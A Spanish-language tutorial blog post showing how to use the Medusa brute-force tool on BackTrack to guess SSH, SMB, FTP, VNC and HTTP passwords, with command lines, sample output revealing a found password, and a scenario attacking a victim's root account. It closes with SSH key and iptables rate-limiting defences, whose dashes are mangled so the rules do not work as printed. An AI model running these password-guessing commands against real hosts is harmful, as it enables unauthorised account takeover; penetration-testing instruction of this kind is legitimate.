Una de las herramientas que tenemos disponibles en la distribución de Linux BackTrack es Medusa. Dicha herramienta permite hacer ataques de fuerza bruta contra un variado conjunto de protocolos, vamos a ver como funciona:
Si ejecutamos medusa con la opción -d podremos ver el conjunto de módulos disponibles:
root@bt:~# medusa -d Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> Available modules in "." : Available modules in "/usr/lib/medusa/modules" : + cvs.mod : Brute force module for CVS sessions : version 1.0.0 + ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0 + http.mod : Brute force module for HTTP : version 1.3.0 + imap.mod : Brute force module for IMAP sessions : version 1.2.0 + mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1 + mysql.mod : Brute force module for MySQL sessions : version 1.2 + nntp.mod : Brute force module for NNTP sessions : version 1.0.0 + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2 + pop3.mod : Brute force module for POP3 sessions : version 1.2 + rexec.mod : Brute force module for REXEC sessions : version 1.1.1 + rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2 + rsh.mod : Brute force module for RSH sessions : version 1.0.1 + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 1.5 + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 1.0.0 + smtp.mod : Brute force module for SMTP Authentication with TLS : version 1.0.0 + snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0 + ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2 + telnet.mod : Brute force module for telnet sessions : version 1.2.2 + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.1 + vnc.mod : Brute force module for VNC sessions : version 1.0.1 + web-form.mod : Brute force module for web forms : version 1.0.0 + wrapper.mod : Generic Wrapper Module : version 1.0.1
Las opciones interesantes para lanzar un ataque de fuerza bruta son:
Por ejemplo, para hacer un ataque de fuerza bruta al propio servidor con el usuario ejemplo y un diccionario de contraseñas llamado passfile:
consigno manualmente las posibles contraseñas obtenidas por la ingenieria social
root@bt:~# medusa -h 127.0.0.1 -u ejemplo -P /root/Desktop/passfile -M ssh Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 1 complete) User: ejemplo (1 of 1, 1 complete) Password: ejemplo (1 of 4 complete) ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 1 complete) User: ejemplo (1 of 1, 1 complete) Password: lol (2 of 4 complete) ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 1 complete) User: ejemplo (1 of 1, 1 complete) Password: hola (3 of 4 complete) ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: ejemplo Password: hola [SUCCESS]
####################################################
OTRO EJEMPLO
En el siguiente escenario ficticio se dispondrá de lo siguiente:
Primero el atacante inicia con el disco de backtrack 5 , para entrar en modo gráfico basta con ejecutar desde el terminal el comando startx. Bien, el atacante se conecta a internet , usando conexión inalámbrica y realiza un escaneo a la dirección IP victima, obteniendo el siguiente resultado;
Se observan los puertos y servicios que están activos en el equipo victima, se hará una prueba con la herramienta medusa en contra del servicio ssh, pero antes se verificará que la herramienta tiene el módulo correspondiente para hacer el ataque al servicio de conexión remota;
Ahora resta ejecutar el ataque de fuerza bruta contra la IP victima, para ello, la sintaxis es la siguiente;
medusa -h IP victima -P ruta_archivo_contrasenas -u usuario -M ssh
En este caso sería así;
medusa -h IP victima -P /pentes/passwords/john/password.lst -u root -M ssh
Donde;
-h; Host de la victima.
-P; Archivo de contraseñas, en este caso decidi usar el de john the ripper.
-u; Nombre del usuario que deseo extraer la contraseña.
-M; Módulo seguido del nombre del servicio , en este caso, ssh.
Luego de un tiempo y dependiendo de la fortaleza de la contraseña que haya generado el administrador, se obtendrá o no un resultado;
Medusa hará el ataque haciendo una combinación de contraseñas del archivo password.lst descrito anteriormente;
Si el resultado es satisfactorio se habrá obtenido la contraseña del usuario root del sistema atacado;
En Conclusión
root@bt# medusa -h 10.10.X.X -P /root/pasword.txt -u root -M ssh
root@bt# medusa -h 10.10.X.X -P /root/pasword.txt -u usersamba -M smbnt
root@bt# medusa -h 10.10.X.X -P /root/pasword.txt -u userftp -M ftp
root@bt# medusa -h 10.10.X.X -P /root/pasword.txt -u uservnc -M vnc
root@bt# medusa -h 10.10.X.X -P /root/pasword.txt -u userhttp -M http
Ahora bien, ¿Cómo se protege el servicio ssh contra este tipo de ataques?, una de las formas más segura es el uso de llaves públicas y privadas, acá este enlace para su configuración. Así mismo evitar ataques de fuerza bruta usando la siguiente sintaxis en el iptables;
iptables -I INPUT -p tcp – -dport 22 -i tarjeta_interfaz_red -m state – -state NEW -m recent – -set
iptables -I INPUT -p tcp – -dport 22 -i tarjeta_interfaz_red -m state – -state NEW -m recent – -update – -seconds 40 – -hitcount 3 -j DROP
Donde;
- – seconds; Indica la cantidad en segundos que una persona puede tratar de ingresar remotamente en tres intentos, luego de eso , el cortafuegos lo bloqueará.
Atentamente:
Franklin Campo